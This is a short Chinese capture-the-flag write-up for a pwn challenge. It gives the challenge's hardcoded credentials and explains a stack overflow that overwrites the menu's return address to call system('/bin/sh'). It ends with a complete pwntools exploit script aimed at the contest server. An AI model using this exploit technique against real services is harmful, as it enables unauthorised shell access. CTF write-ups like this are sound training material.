十一欢乐赛-pwn4

有system函数 无/bin/sh字符串

首先要求输入账号密码,查找字符串,账号为admin,密码为T6OBSh2i,
之后进入menu函数,choice的输入有栈溢出,可以被利用,选择1之后可以对cmd字符串修改,给system提供参数/bin/sh。

因此大致就是首先输入账号密码,然后选择1,修改完system参数后返回menu函数,然后利用输入把menu的返回值覆盖为system函数的地址,最后选择3,退出menu函数,进入system函数,执行/bin/sh。

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
sh=remote("47.100.40.190",10009)
sh.recvuntil('username: ')
sh.sendline('admin')
sh.recvuntil('password: ')
sh.sendline('T6OBSh2i')
sh.recvuntil('Your choice: ')
sh.sendline('1')
sh.recvuntil('Command: ')
sh.sendline('/bin/sh')
sh.recvuntil('Your choice: ')
payload='a'*0x50+'a'*8+p64(0x40084a)
sh.sendline(payload)
sh.recvuntil('Your choice: ')
sh.sendline('3')
sh.interactive()

随后cat flag即可得到flag

文章目录
|